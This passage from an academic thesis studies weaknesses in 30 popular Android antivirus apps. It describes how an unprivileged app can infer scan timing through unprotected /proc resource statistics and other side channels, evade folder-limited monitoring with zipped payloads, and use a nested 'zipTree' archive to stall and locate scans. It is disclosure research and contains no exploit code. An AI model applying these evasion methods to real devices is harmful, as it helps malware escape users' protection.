The Android security model is uniquely defined to fit for the need of mobile computingenvironment. App developers with various levels of credibility can share apps on theapp markets and users can easily install apps from various sources with varying trustlevels. So applications are treated as mutually distrusting principals on the Androidsystem. Android provides the application sandbox to isolate apps from each other, whichguarantees that they do not have access to each others’ private data.
Based on the native Linux basic discretionary access control mechanism, Androiddesigns its own a fine-grained permission mechanism for all the apps running on the
10
Application layer. Users have to grant the requested permissions during the installation ofan app. Generally, Android uses a standard template process, the Zygote, for all the pro-cesses warm-up phase. Zygote is the parent process for all the Android processes. Eachapp is assigned its own unique user ID (UID) at install time, and the access control bitsfor the relevant files and folders in the file system are then set accordingly by the system.The dedicated group ID (GID) numbers are assigned based on the requested permissionsfor system resources. For instance, if an app wants to perform scanning operations on thefiles on the SD card, it must first request the READ_EXTERNAL_STORAGE permission.Then, the system adds a relevant GID number (1028) for it and the process is put into theAID_SDCARD_R group to enable its access to the SD card.
From Android 4.3, a more fine-grained mandatory access control mechanism, theSEAndroid, based on Linux Security Module [15] is included in Android to preventunauthorized access to protected resources. Basically, only subjects (e.g., processes) incertain domain can access the object (e.g., files and etc.) via the granted system calls.When the system boots up, all the apps, system daemons and files are labeled accordingto the predefined management rules. Therefore, more fine-grained and restricted accesscontrol can be specified by different Android vendors or system administrators of anorganization.
11
Chapter 3 |Towards Discovering and An-alyzing Unexpected Hazards inTailoring Antivirus Software forAndroid
3.1 Introduction
The increasing popularity of mobile computing devices (e.g., smartphones and tablets)attracts both normal users and malware writers. Among the popular mobile platforms,Android has not only conquered a lion’s share of the market, but also gained 98.1% shareof mobile malware detected in 2013 [2]. Many companies, including those reputableones focusing on PC security as well as some new startups, have turned their attentionto mobile platform security and tailored their antivirus detectors particularly for An-droid [13]. Every three months, the independent antivirus test lab, AV-TEST, generatesa report [24], comparing the detection rates of Android Virus Detectors (AVDs). Thelatest report indicated that the malware signature databases (MSD) of popular AVDsunder test have achieved on average about 95% high malware detection rate. However,since Android allows executing both ARM binaries and Dalvik bytecode file (e.g., .so
and .dex files) from dynamically loaded payload files to better serve application (app)developers at runtime [25], it has been shown that more malware [22] based on thedynamic code loading are created and spread through the widely used Android apprepackaging techniques [26–30]. Therefore, besides evaluation based on the quality of
12
Table 3.1: Popular Android antivirus detectors (AVDs) in our study
ID Vendor AVD package name & version # Downloads #1 Avast com.avast.android;.........3.0.6915 50M-100M2 AntiyAVL com.antiy.avlpro;................2.3.02 50K-100K3 AVG com.antivirus;.........................3.6 100M-150M4 AegisLab com.aegislab.sd3prj.av;.........2.1.5 100K-500K5 Avira com.avira.android;..................3.1 1M-5M6 Qihoo360 com.qihoo360.mobilesafe;....4.0.1 150M-200M7 Bitdefender com.bitdefender.security;2.8.217 1M-5M8 Bornaria com.bornaria.antivirus;.......1.3.60 50K-100K9 Kaspersky com.kms (premium);.........11.2.3 5M-10M
10 F-Secure com.fsecure.ms.dc;........9.0.14504 100K-500K11 ESET com.eset.ems2.gp;...........2.0.843 1M-5M12 CleanMaster com.cleanmaster.security;......5.1.0 100M-150M13 Dr. Web com.drweb.pro;................7.00.11 10M-50M14 Ikarus com.ikarus.mobile.security 1.7.20 100K-500K15 Lookout com.lookout;..........8.28-879ce69 50M-100M16 Comodo com.comodo.pimsecure;.......2.4.5 100K-500K17 McAfee com.wsandroid.suite;...4.0.0.143 5M-10M18 CMCInfoSec com.cmcinfosec.mbsec;3.11.18/u5 100K-500K19 Norton com.symantec.mbsec;....3.8.0.12 10M-50M20 NetQin com.nqmobile.antivirus20;..7.0.10 150M-200M21 TrendMicro com.trendmicro.tmmspsnl;....5.0 1M-5M22 Sophos com.sophos.smsec;..........3.0.1244 100K-500K23 Tencent com.tencent.qqpimsecure;.....4.6 1M-5M24 Panda com.pandasecurity.pandaav;.....1.1 100K-500K25 Webroot com.webroot.security;3.6.0.6579 500K-1M26 AnGuanJia com.anguanjia.safe;...............4.5.2 100K-500K27 G Data de.gdata.mobilesecurity;...24.5.4 500K-1M28 Virusfighter com.virusfighter.android;.......2.1.3 500K-1M29 TrustGo com.trustgo.mb.sec;..........1.3.13 5M-10M30 Zoner com.zoner.android.av;............1.8.3 1M-5M
the MSDs, the success of the AVD’s design on the fast-evolving Android platform mustalso be measured based on its efficacy in identifying malware’s dynamic behavior (e.g.,dynamic malicious payloads dropping/executing).
In this work, we conduct the first comprehensive analysis of top 30 AVDs (listedin Table 3.1), which currently has a total of 650-1070 million user downloads for theGoogle-Play store alone. Previous works [31, 32] have only focused on evaluating the
13
quality of Virus Definition File (VDF) for virus detectors based on the well-known AVDweaknesses (e.g., vulnerable to transformation attacks). We take it a step further and ouranalysis concentrates on the scanning mechanism of Android AVDs.
Protection Assumption I: We assume Android AVD vendors have developed acomplete MSD, which has been updated with all the reported malicious payloads andall the possible obfuscated versions of the payloads. Note that under this assumption,the Android AVDs are immune to common transformation attacks [31, 32]. Bearing thisassumption in mind, we would like to understand if there are still deficiencies in themalware scan (malScan) mechanism itself that can cause potential hazards.
Hazards in malScan. The malScan operation here means the general malwarerecognition mechanism, which fingerprints the malware based on the VDF updatedfrom the MSD. Generally, there are two types of malScan operations for Android: light
monitoring malScan and heavy sweeping malScan. Four out of the top 30 AVDs haveimplemented the light monitoring malScan, which leverages the APIs from the AndroidFileObserver class. This enables the AVD developers to come up with an ad-hoc design toperform continuous monitoring. However, our further detailed measurement study showsthat these four AVDs only monitor several selected folders (e.g., the file Downloads
folder) and only focus on limited file types (e.g., Android Application Package (APK)file). Therefore, by dropping the malicious payload onto any non-monitored folders orsimply using an archived version of a malicious payload, light monitoring malScan canbe evaded. This analysis indicates that the FileObserver based light monitoring malScan
lacks comprehensiveness.On the other hand, all 30 tested AVDs have designed the heavy sweeping malScan
operation, which is a comprehensive malware scan. However, it is just due to thecomprehensiveness of this type of scan that distinguishable system resource (e.g., CPUand memory) usage patterns are emitted when scanning. Also, we find that Androidrecords the per process/per thread resource usage statistics in /proc/[PID]/stat and/proc/[PID]/task/[TID]/stat respectively, thus the resource usage patterns of eachAVD’s process/threads are readily available for all unprivileged third party apps. As aresult, the scanning status of heavy sweeping malScan can be revealed by fingerprintingthe high peaks of the AVD’s resource usages, which makes the scanning vulnerableto targeted evasions. Thus, adversaries can evade this scan by identifying its scanningperiod and perform malicious action subsequently. So to clearly differentiate theirscanning and idle periods and provide proof-of-concept evasions, we leverage Fast
14
Fourier Transformation (FFT) to preprocess the per process/thread usage signals. Wedesign and implement a signal steganography technique to identify the scanning locations(folders). We demonstrate that the adversary can plan targeted evasions by recognizing the(sub)folders that have just been scanned. Our analysis shed the light on the importanceof developing a malware scanning mechanism that has both the comprehensive andcontinuous scanning properties.
Protection Assumption II: We then further assume AVD keeps monitor the wholefile system completely and efficiently, and it can even perform behavior-based detectionefficiently. By adding such a strong protection, we aim to find if there are still securityholes in deploying AVDs on Android system.
Hazards in engineUpdate. Our study and various sources [33, 34] also show thatAVDs on the fast-evolving Android system tend to perform engine updates (engine-
Update) fairly frequently, since AVD engineUpdates serve for various important tasks,including malScan mechanism enhancement, vulnerabilities [35–38] patching and otherfunctionality improvement [39]. However, we discover that the critical AVD engineUp-
date procedure itself can cause devastating hazards to AVD even under both Protection
Assumption I and II. In Android, Package Manager Service (PMS) updates the engineby removing the whole APK file and killing the AVD processes. Various componentsin the system have to perform complicated tasks (e.g., Dalvik bytecode optimization,configuration file parsing and etc.) for the newly downloaded APK file before settingup the AVD engine and reactivating it. As any strong defense mechanism relies oncontinuous running processes of the AVDs, this seemingly safe but complicated designof Android app-updating mechanism surprisingly kills the AVD process and nullifiesany perfect protections for a period of high risk, which is called null-protection window.What’s worse, our analysis shows that some AVD developers leave the engines inactivatedafter finishing its update. The lack of consideration in the AVDs’ design indicates thatAVD developers have not realized the potential hazard in engineUpdate yet. Withoutthe automatic relaunch functionality, users can be exposed under high risk for a longerperiod.
15
Table 3.2: Information leakage channels used to infer AVDs’ running status
ID Probing Channels1 ActivityManager.getRunningAppProcesses()
Leaks DVM processes meta info (e.g., UID, PID, process name and etc.)2 /proc/uid_stat/[AVD_uid]/snd(rcv)
Leaks the network usage info (e.g., send and received package sizes, etc.)3 ActivityManager.getProcessMemoryInfo()
Leaks DVM process memory info (e.g., nativePSS, dalvikPrivateDirty and etc.)4 PackageManager.getInstalledApplications()
Return a List of all the packages of installed applications5 PackageManager.getPackagesForUid()
Leaks the names of all packages that are associated with a particular UID6 PackageManager.sendBroadcast(Pkg_add)
Leaks the AVD or other apps’ installation status7 PackageManager.sendBroadcast(Pkg_rm)
Leaks the AVD or other apps’ removal status8 PackageManager.sendBroadcast(Pkg_updt)
Leaks the AVD or other apps’ update status9 Build.MODEL (HARDWARE)
Leaks device type and hardware specifications information10 /proc/[AVD_pid]/stat
Leaks the relevant CPU usage info (e.g. utime, stime and etc.11 /proc/[AVD_pid]/task/[AVD_tid]/stat
Leaks tasks CPU usage info of AVD process12 /proc/[AVD_pid]/statm
Leaks the memory usage info (e.g. the RSS, virtual memory size, etc.)13 /proc/[AVD_pid]/status
Leaks the memory usage info (e.g., the RSS counts in pages)14 JNI call stat() /data/data/[AVD_package]/*
Leaks all the files’ meta info (e.g., size, creation date and etc.) in the subfolders15 /system/bin/ps
Leaks all the running processes info.
3.2 Background
3.2.1 AVD Background
Android is an operating system built upon the Linux Kernel. On top of the Linux kernel,Android is loaded with four software layers, namely System Libraries, Android Runtime,
16
Application Framework and Application. In addition to the native Linux basic accesscontrol mechanism, Android provides a fine-grained permission mechanism for all theapps running on the Application layer, including all the AVDs from third party vendors.
Generally, Android uses a standard template process, the Zygote, for all the DalvikVirtual Machine (DVM) processes warm-up phase. Zygote is the parent process for allthe Android DVM processes, including all the AVDs’ main processes. Each AVD isassigned its own unique user ID (UID) at install time, and the access control bits for therelevant files and folders in the file system are then set accordingly by the system. Thededicated group ID (GID) numbers are assigned based on the requested permissions forsystem resources. For instance, if an AVD wants to perform scanning operations on thefiles in the sdcard, it must first request the READ_EXTERNAL_STORAGE permission.Then, the system adds a relevant GID number (1028) for it and the process is put into theAID_SDCARD_R group to enable its access to the sdcard.
In the current Android system, a Binder interprocess communication (IPC) mecha-nism is used for more efficient Intents based message passing. Intents can be used indifferent purposes. For the app relevant usages, it can be sent to start an activity, start aservice, deliver/receive a broadcast and so on. The system delivers various broadcast in-tents for system events to the apps/services that have registered to it. An AVD app/systemdaemon usually listens to specific broadcast intents by registering a broadcast receiver inthe file AndroidManifest.xml or programmatically registering the relevant receiver in thecode. For example, if an AVD app wants to relaunch automatically after the system bootsup, it has to register for the system-broadcasted intent BOOT_COMPLETED, which isissued by the system once the boot process is completed. Some AVDs perform scanningfor newly installed apps through registering the PACKAGE_ADDED events generatedfrom the Package Manager Service (PMS) component. Listening system-broadcastedintents enables the AVD to keep track of system events of interest that are happening andthen take appropriate actions.
3.2.2 AVD Behavior Analyses
Table 3.1 lists 30 popular AVDs that we selected from Google Play in Feb. 2014, whichenjoy a total user downloads of about one billion. We pick the top 30 AVDs based ontheir overall protection rankings, according to AV Test Reports [24] for the period ofJan. 2014–April. 2014. To better understand the internal design of virus detectors on the
17
Android Framework Layer
Na1ve Libs Android Run1me
Network
File System Process Manager
Ac1vity Manager
Package Manager
Device Hardware
Linux Kernel Layer
Android AVDs Design and Deployment Logic
Environment Informa1on Collector
Parsed info of Processes and File system, etc.
Iden1fied Hazards
Tes1ng events and AVDs configura1ons
Dynamic Tester
Sta1c Code Analyzer
AVD’s APK files
Hazard Test App
Design Tester to Confirm the Hazards
Android PlaOorm with AVDs deployed
Figure 3.1: The AVD testing framework for Android platform
Android platform, we further build a framework to perform comprehensive analyses ofthe selected AVDs.
3.2.2.1 AVD Behavior Analysis Framework
Our framework, illustrated in Figure 3.1, includes Dynamic Tester, Static Code Analyzer
and Environment Information Collector to collect relevant virus detectors deploymentinformation from both Android framework and Linux layer of the system.
The Dynamic Tester is built to interact with the AVDs, so that we can repetitivelytest some interesting properties of AVDs’ runtime behavior. We wrote python and shellscripts to glue together the ADB tool, the Monkey-Runner tool [40], and the DDMStool [41] from Android Studio. Monkey-Runner is a testing program that can send userand system events for our testing purpose. We leverage DDMS, a common debuggerfor Android developers, to collect relevant execution traces for particular operations forfurther analysis.
In the Static Code Analyzer, we first decompile the APKs of AVDs and then conductanalyses on the required permissions and registered intent actions in the correspondingbroadcast receiver components. To further understand the design logic of AVDs, webuild the control flow graph (CFG) upon the Android Dalvik bytecode disassembledfrom baksmali tool [42]. We adapt some of the analysis modules from Androguard [43]
18
to construct the CFGs. We notice that most of the AVDs are not highly obfuscated, sothe reverse engineering process is comparatively straightforward.
We also build an Environment Information Collector to analyze both the Androidframework layer and the underneath Linux layer with all the AVDs installed, configuredand running on the system. The purpose is to discover some effective public information
leakage channels, which can help any third party app infer the AVDs’ running status. Forthe Linux layer, we parse the information about the files and folders (e.g., access controlbits) in the file system and the information about the running processes (e.g., the UIDand GID numbers and their forking orders). Then we focus particularly on analyzing theinformation that is relevant to the installed AVDs. For the Android framework layer, weanalyze relevant Android APIs to collect information about AVDs running status. Afterseveral rounds of automated testing and manual result verification, we discover severalinteresting information leakage channels, shown in Table 3.2, which will be especiallyvaluable in determining the vulnerable periods of the running AVDs. Note that none ofthe discovered channels are protected by any Android permission yet.
3.2.2.2 Intents Registered and Permissions Claimed
In Table 3.3, we list the types and frequencies of the registered intent actions and claimedpermissions of the 30 AVDs collected based on our reverse engineering result. Ouranalysis result indicates that current AVDs register lots of interesting permissions forprivileged operations; for instance, the KILL_PROCESSES permission is used to killsuspicious background processes and the ALERT_WINDOW permission is claimed to helppop up urgent alert window from the system when suspicious status is identified. We alsosee that the current AVDs emphasize a continuous running status on the Android system.For instance, all these AVDs listen to the BOOT_COMPLETED system event to providecomplete protection after the system boots up. They also obtain the WAKE_LOCK
permission to periodically wake up the CPU to keep monitoring the system status.Events like PACKAGE_ADDED and PACKAGE_REMOVED are mostly registered tohelp monitor the newly installed/updated Android application package (APK) files.However, we still identify a loophole in its engineUpdate operation that unexpectedlynullifies the AVDs’ protection.
Road map: The remainder of the paper continues as follows: Section 3.3 elaborateshazards relevant to the malScan mechanism, followed by the algorithm designed andimplemented to confirm the hazards. Section 3.4 explains the exploring process of the
19
Table 3.3: Intents registered and permissions asked by AVDs
Intents Registered # Permissions Requested #MEDIA_REMOVED 4 SUPERUSER 1MEDIA_CHECKING 5 BATTERY_STATS 12PWR_DISCONNECTED 5 google.c2dm.RECEIVE 17WIFI_STATE_CHANGED 6 KILL_PROCESSES 21DATE_CHANGED 6 COARSE_LOCATION 21SERVICE_STATE 7 ALERT_WINDOW 22DIAL 7 WRITE_BOOKMARKS 22MEDIA_UNMOUNTED 8 GET_ACCOUNTS 22POWER_CONNECTED 8 READ_SMS 23net.wifi.STATE_CHANGE 10 READ_BOOKMARKS 23MEDIA_EJECT 10 READ_CONTACTS 25USER_PRESENT 10 RECEIVE_SMS 25ACTION_SHUTDOWN 12 SEND_SMS 25NEW_OUTGOING-CALL 15 READ_LOGS 26PHONE_STATE 17 GET_TASKS 26PACKAGE_REPLACED 23 WAKE_LOCK 29PACKAGE_REMOVED 30 EXTERNAL_STORAGE 30PACKAGE_ADDED 30 READ_PHONE_STATE 30BOOT_COMPLETED 30 BOOT_COMPLETED 30
hazard in AVD engineUpdate procedure and a model checker is developed to confirm therelevant vulnerable program logic. Other hazards are discussed in Section 5.5, followedby proposed mitigations. Section 2 reviews related works and Section 5.8 concludes thispaper.
3.3 Hazards in Malware Scan
In this section, we report our study on the two malware scan (malScan) operations, namelythe light monitoring malScan and the heavy sweeping malScan, and then followed bythe discovered hazards for each type of malScan operations and their correspondingmeasurement results.
3.3.1 Malware Scan Behavior
Different from previous works on antivirus security measurement [31, 32] that targetingthe weakness of the incomplete signature database, we assume that AVDs are all equipped
20
with a complete VDF, which includes all known malicious payloads and their obfuscatedcounterparts. Hence, we use the easily recognizable malicious payloads from the well-known Malware Gnome Project [22] in our testing. This will force us to concentrateon analyzing the malScan mechanism itself when deployed on the Android platform.Similar to PC AVDs, the malScan operations are one of the core functionalities of AVDsfor malware recognition based on up-to-date VDF.
Our analysis result shows that only four of the tested 30 AVDs have developed light
monitoring malScan, which performs short-term scans for particular file system statuschanges. It leverages the FileObserver APIs provided by the Android framework, whichis based on the inotify() system call to monitor the file system changes (e.g., create,modify, delete files/folders and etc.). For example, when a new file is downloaded intothe /sdcard/Downloads, the AVD will perform a very quick scan for that particular filesystem status change on the folders, given that the particular folder is specified to bemonitored in one of the registered FileObserver instances. However, our further analysisindicates that it can only focus on a few pre-selected folders (e.g., /sdcard) and the scanis lightweight, which means it cannot handle archive format.
On the other hand, all the 30 tested AVDs have implemented the heavy sweeping
malScan, a comprehensive scan on the file system, which can be pre-scheduled ortriggered directly by a user. It is usually performed by one or more Android service(s)or dedicated native process(es) (AVD # 9). This scan will consider most files, includingarchive files (e.g., .apk, .tar and .zip), in the target folder and its (sub)directories. It thenfingerprints them against the VDF diligently. For instance, when targeting the /data/appfolder, it will check all the compressed app packages, the Android Application Package(APK) files of all installed apps, and iteratively scan through subdirectories and files ineach APK file package. If an APK file happens to contain an archive file format, it will beuncompressed and scanned through all files contained in the archive file. Therefore, allof the tested AVDs rely on heavy sweeping malScan to perform comprehensive malwaredetection.
3.3.2 Light Monitoring malScan Hazard
To discover the potential hazards in light monitoring malScans, which leverage theFileObserver APIs, we use the Dynamic Tester to fully measure the effectiveness of thefour AVDs. Our Dynamic Tester drops well-known malicious payloads on the /sdcard,
21
Table 3.4: Light monitoring malware scan ineffectiveness
Tested Malicious Dropping Actions Reacted AVD #APK files (zipped) dropped on /sdcard 14APK files (zipped) dropped on /sdcard/*/ None !!!Native files (zipped) dropped on /sdcard 14, 15Native files (zipped) dropped on /sdcard/*/ None !!!APK files dropped on /sdcard/ 13, 14, 15, 22(17.2s)APK files dropped on /sdcard/*/ 13, 15, 22Native files dropped on /sdcard/ 13, 14, 15Native files dropped on /sdcard/*/ 13
which are recognized directly by all the four AVDs that have implemented this type ofmalScan. Then we configure the Dynamic Tester to test different dropping folders andusing various archiving formats (e.g., zipped files). Table 3.4 contains the reacted AVDsfor each specific measurement case. The result demonstrates that this type of scan is noteffective, especially for zipped payloads dropped in a deeper-level folder of the targetedfolder (e.g., /sdcard/ ∗ /). One reason that current AVDs cannot implement recursivelyfile system monitoring due to the fact that this FileObserver APIs are not designed forcomprehensive file system hooking.
From the result, we can also tell that AVD #15 from Lookout Inc., which is one ofthe top mobile security company targeting Android security for years, provides the bestdesign for the light monitoring malScan among the tested AVDs. However, a designvulnerability in the AVD #15 has been discovered from our detailed analysis. Thelight monitoring malScan functionality is accidentally blocked when performing theheavy sweeping malScan. This buggy case indicates the problematic design of light
monitoring malScan based on FileObserver APIs. Besides this problem, although ourmeasurement shows that the AVD #22 Sophos can recognize malicious payloads in the/sdcard directory, on average it takes 22.7s to react to the observed payload droppingevents reported by the FileObserver. This vulnerability is due to an inappropriate way tohandle the triggered events from the FileObserver object. During such a long reactionperiod, the adversary can easily finish his malicious actions based on the dropped payloadand remove it before the malScan (its actual malware recognition action). We havereported the vulnerabilities to Lookout and Sophos respectively, and they have plannedto fix them in the next versions.
Since FileObserver APIs provided by Google is not meant for AVD scanning purposes,
22
these APIs cannot cover the whole file system comprehensively and efficiently. Thus, thead-hoc design of the light monitoring malScans based on FileObserver is proven to beineffective and problematic. Therefore, we are calling the need for specific hooking APIsfor AVDs light monitoring malScan from platform designers, for instance, Samsung,Google and so on.
3.3.3 Heavy Sweeping malScan Hazard
Different from the light monitoring malScan, the heavy sweeping malScan is compre-hensive, so it is usually hard to bypass. Especially, when the AVDs are equipped withthe complete VDF. The heavy sweeping malScan is a series of expensive operationsperformed in a period, we call the period high protection window. Since it can be onlytriggered implicitly by a pre-defined schedule or explicitly by a user, this type of malScan
can be very comprehensive, but lack of continuous protection. Therefore, if the adver-sary can identify the high protection window, it can potentially evade the detection byperforming malicious actions after the scan.
To identify the high protection window, we want to analyze if the malScan reveals anyside-effects, which is different from other non-scan operations. Based on the observationsof malScan of the 30 AVDs, we notice that it is exactly this comprehensive scanningstrategy that produces very distinguishable CPU and memory usage patterns. Thesepatterns are distinct from other AVD operations (e.g., VDF updates or other managingtasks of AVDs). The result from the Environment Information Collector in Table 3.2shows that one can directly access the resource usage pattern (e.g., the utime and stime1)of AVDs from the file /proc/[AVD_pid]/stat, which is accessible by the public. Herethe AVD_pid is the process id of the AVD and the mapping between the AVD packagename and its pid can be obtained through the probing channel #1 and #15.
Our further investigation shows that this Linux statistics file (stat), is created forthe whole AVD process. Due to the multi-threaded programming of Android apps,the stat file for AVD process includes noise from other types of AVD operations, forexample, a user interacting with the AVD app or other process management tasks (e.g.garbage collection) that are performed simultaneously on the background. To preciselyidentify the scanning operations and fingerprint the scanning period and locations, wediscover that one can directly leverage the task information in the subdirectory of each/proc/[AVD_pid]/ folder, namely the /proc/[AVD_pid]/
23
Table 3.5: Heavy-sweeping malware scan configurations
Type AVD #Full Scan Only 5, 6, 7, 11, 15, 17, 21, 22, 25, 26, 29Only Quick/Full 8, 9, 13, 14, 20, 24, 23, 27App Only 1, 2, 4, 7, 12, 16, 17, 19, 20, 21, 27-30Folder Only 1, 2, 3, 4, 9, 12, 13, 17, 18, 28, 30Pre-scheduled 1, 2, 3, 4, 7, 9, 12, 16,
17, 19, 20, 21, 27, 29, 30
Table 3.6: Hardware specifications of four Android devices
Devices Name OS versions RAM CPU cores,speedGoogle Nexus 4 4.3 JB 2G Quad,1.5kMHzAsus Nexus 7 Tablet 4.1 JB 1G Quad,1.3kMHzSamsung Note 2 4.0 ICS 2G Quad,1.6kMHzSamsung Nexus S 2.2 Froyo .5G Single,1kMHz
task/[AVD_tid]/stat, #10 and #11 side channels. They reveal the utime and stime of aparticular scanning task of an AVD process (e.g., start and end of the heavy sweeping
malScan). Several dedicated tasks (main user interface or garbage collection threads) areassigned with fixed tid based on the pid offset. Thus, the noise introduced from thesetasks or operations can be filtered out.
Another interesting observation is that some AVDs (e.g. # 9) use dedicated nativeprocess(es) for more efficient scanning, but this special improvement in malScan sur-prisingly hurts itself, as it simplifies the relevant high protection window fingerprintingprocedure. One only has to identify the pid of the “/kav/libscan” native process of #9through the information leakage channels #1 and #15. And then the relevant resourceusage patterns for the comprehensive scanning tasks can be further collected throughchannels #10 and #11 of the “/kav/libscan” process.
3.3.3.1 Testing malScans and Collecting Scanning Traces
To further explore the feasibility of fingerprinting the heavy sweeping malScan in realtime and build proof-of-concept evasions from the collected system resource (e.g., CPUand memory) usages of the targeted AVD, we first run dynamic testing over all the AVDs’heavy sweeping malScan. The result of our dynamic testing, in Table 3.5, shows thatcurrent AVDs have three types of configurations for this malScans: 1) only one full
24
scan; 2) quick/full scan, where a quick scan usually scans a subset of full scan’s content(e.g., only the APK files); 3) flexible scan by selecting different targets (folders). Inaddition to the above, some AVDs also have user-scheduled scans at a particular timeof a day or in a weekly/monthly basis. To perform one malScan, it usually takes 1-10minutes, depending on the number and type of files/apps to be scanned. To build abetter fingerprinting algorithm, we collect the resource usage statistics for various heavy
sweeping malScan configurations of all the 30 tested AVDs on four devices with differenthardware specifications, as shown in Table 4.4. For each AVD on each device, we performten 30-minute tests to collect its corresponding resource usage statistics. We name theresource (e.g., CPU and memory) usage statistics for a particular job of an AVD as atrace. A trace generally contains all the relevant CPU and memory information (e.g., theutime, stime1 of CPU and the VmSize, VmRSS2 of the memory). For a particular AVDscan trace, we name each specific resource usage dynamics as a signal. For instance,the process’s utime signal is a series of incremental values calculated based on thecollected user mode CPU usage time (in Jiffies), which reflects the AVD’s real-time CPUusage. Various signals can be sampled at adjustable rates (e.g., 1 sample/second or 5sample/Minute).
3.3.3.2 Identify Heavy Sweeping malScans Traces
Our first goal is to differentiate the traces of heavy sweeping malScan with traces fromall other operations (e.g., VDF file updates, cloud Scan and etc.). Figure 3.2 contains30-minute time series of two representative AVDs (AVD Lookout and Avira) duringwhich the user triggers two malScans and various other random AVD operations. Weremove part of the blank sub-period that contains no system resource statistics and presenta 6-minute version in the paper. We observe that the utime pattern (stime has similarpattern) has an extremely aggressive CPU usage pattern in a continuous time period,which is the high-protection window, compared to all other small traces introduced bynon-scan operations. Therefore, we use the average utime, stime signals in a sliding
1utime is the user mode jiffies and stime is the kernel mode jiffies, which are the 14th and 15th fieldof the /proc/AVD_pid/stat file, respectively. Jiffies is a time measure based on a clock maintained by thekernel. CPU time, which is limited by the resolution of the software clock and measured by clock ticks(divided by sysconf(_SC_CLK_TCK). _SC_CLK_TCK is set to 100 in bionic/libc/unistd/sysconf.c for allAndroid OS versions.
2For an AVD process, the VmSize is the virtual memory size and VmRSS is the portion of a process’memory that is held in RAM, which are the 1st and 2nd fields of the s/proc/[AVD_pid]/statm, respectively.
25
0 50 100 150 2000
50
100
150
(a) Lookout# o
f Jif
fies
0 50 100 150 200 250 300 3500
50
100
150
(b) Avira
Time (second)
# o
f Jif
fies
Figure 3.2: 6 minutes CPU usage (utime) temporal statistics of (a) AVD Lookout and (b)AVD Avira
time window (around 30 seconds) to decide if the AVD’s scan enters the high-protection
window.
3.3.3.3 Differentiate Full and Quick Scans
Besides identifying the high-protection window, we want to further differentiate the high-
protection window of full and quick scans of one particular AVD, so that the adversarycan start malicious actions (e.g., dropping/executing malicious payloads) right after themore comprehensive full scan, which is safer to evade detection. Figure 3.3 contains thestime signal of representative full and quick scans of two AVDs, from which we can tellthat the quick scan is generally shorter (quicker) than full scan, and the stime signals’(utime is the same) peak and average values are pretty close to full scan. Based on thisgeneral heuristic, we can differentiate full and quick scan by collecting two malScans
with very different signal lengths as benchmarks. Therefore, when the next malScan isidentified, its signal length can be compared with the previously stored benchmarks. Wealso keep updating the corresponding benchmarks with the newly classified scan tracesfor different categories.
26
0 10 20 30 40 50 600
50
100
150
(a) DrWeb#
of
Jif
fie
s
0 10 20 30 40 50 600
50
100
150
(b) Sophos
Time (second)
# o
f J
iffi
es
Figure 3.3: Comparison of full/quick scans’ stime signal of (a) AVD Dr.Web and (b)AVD Sophos
3.3.3.4 Signal Steganography based Scan Location Inference
Our study also shows that some AVDs provide multiple ways of configuring the heavy
sweeping malScans that target on various scanning locations. On rooted devices,some AVDs [44, 45] even enables the ability to scan most the important folders (e.g.,/sdcard, /data/app,
/data/data, /system/app and etc.). Therefore, we seek to identify the precise locationthat the scanning has just happened. Because it is less likely for the AVD to re-scan thesame location within a short period of time, one can design an evasion attack based onthis assumption.
The scanning location inference idea is very intuitive. The goal is to infer if thescan is just sweeping through a particular folder of interest. To achieve this, we leave aspecial file, namely a marker, in that folder. The marker file is intentionally designedto exhibit special patterns in terms of CPU or other resource usages during AVD heavy
sweeping malScan. Since only the marker file designer knows the embedded signal andlater extracts it. We call this method, signal steganography.
Delay-of-Scan Hazard. The design of a unique marker file is based on our obser-
27
0 20 40 60 800
5
10
15
20
25
30
(a) stime Signal
Time (second)
# o
f J
iffi
es
Normal file scanning
Zip−tree file scanning
0 20 40 60 800
0.2
0.4
0.6
0.8
1
(b)
Time (second)
No
rma
lized
Eu
cli
de
an
Dis
tan
ce
Detected zip−tree file scanning
Threshold
Figure 3.4: Stime signal (red line indicates zipTree scanning segment) of Panda Security
vations of the normal AVD scanning process. First, most of the AVDs have aggressiveCPU usage, mainly caused by checking the files in the target folder. The pattern ofCPU utilization during scanning varies depending on the type, size and structure of the(archive) files. Second, once encountering an archive file, most AVDs would have to firstunzip the file before fingerprints it. The unzipping operations lead to less CPU utilizationbut more memory use, which exhibits certain patterns (the shape and frequency of CPUor memory utilization profiles). If one could make this special pattern continue for asignificant long time (e.g., several seconds, which is actually unnoticeable compared tothe minute-level scanning time), we can identify and extract it directly from the wholetrace and finish the discovery of the embedded signal. To leverage these observations, wecreate a special archive file as the marker, which is a three-layer zip file called zipTree.Each parent node in this zipTree entry contains 10 zip files, and each one of the 10 zipfiles contains another 10 child-zip files. The inmost leaf zip file is an empty .txt file.The crafted zipTree is about 0.7KB in size, which can hold the malScan process for 9seconds. We name this Delay-of-Scan hazard, which can potentially cause denial ofservice attack given a big enough zipTree. However, in our signal steganography basedpattern recognition approach, we only need to delay the scan for a couple of seconds. Inthis way, we can precisely identify the scanning locations based on the marker that wasdropped on the particular folder.
Figure 3.4(a) displays the stime signal of the scanning by Panda Security. It is note-worthy that the stime signal during zipTree scanning (as shown in a red line in the figure)exhibits patterns with three special properties compared to other parts of the signal: (1)
28
the signal has a much lower mean value than other parts of the stime signal; (2) the signalshows stable patterns; that is, the signal is periodic and has relatively deterministic fre-quencies; (3) the stable pattern of the signal of zipTree file scanning lasts for considerablylonger time compared with the other part in the signal. Based on these observations, wedevise an efficient online algorithm, Algorithm 1, to recognize/extract the stime signalsegments of zipTree. The algorithm is based on Fast Fourier Transformation (FFT) forthe classic spectrum analysis that is widely used in signal processing. FFT transformsthe sample signal from the time domain to the frequency domain, so our analysis isstable against potential time variations in the signal. More importantly, the frequencydomain can still capture most part of the three properties of the signal. The idea is todetermine zipTree scanning period by identifying a period of time that exhibits similarCPU utilization patterns (e.g., similar means and magnitude in different frequencies),or in one word, similar frequency spectrum characteristics that appeared repetitively.Once we identify a period with lower mean value signals (based on property (1)), wefirst perform FFT (line 9 in the Algorithm 1) to multiple sliding windows of the CPUutilization signal and generate a time series of frequency spectrum, a presentation ofa time-series signal in the frequency domain. As is well known in signal processing,similar two frequency spectrum imply that the corresponding two time series sharingsimilar signal components at all frequencies. We then compute the Euclidean Distance
